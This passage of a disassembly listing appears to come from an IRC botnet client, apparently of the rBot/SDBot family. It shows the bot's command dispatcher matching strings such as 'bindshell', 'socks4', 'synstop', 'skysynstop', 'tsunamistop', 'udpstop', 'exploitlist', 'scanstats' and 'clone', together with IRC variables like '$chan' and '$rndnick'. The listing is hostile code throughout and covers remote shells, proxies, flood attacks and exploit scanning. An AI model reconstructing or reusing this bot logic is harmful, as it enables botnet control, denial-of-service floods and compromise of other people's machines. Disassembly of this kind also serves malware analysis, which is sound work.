		jz	short loc_40233A
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC74
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB888
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC58
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC50
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC38
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42CBFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBB8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB90
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		call	near ptr 26B0669h
		nop
		push	eax
		push	offset unk_42CB58
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB28
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAF4
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294CC, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DB90


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294CC
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDC4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBA8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DB90[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAAC ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA08
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C994
		push	offset dword_42C988
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C968
		push	offset dword_42C958
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C94C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7E8
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C750
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C72C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C70C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C64C
		jnz	short loc_403162
		mov	eax, offset unk_42C628


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
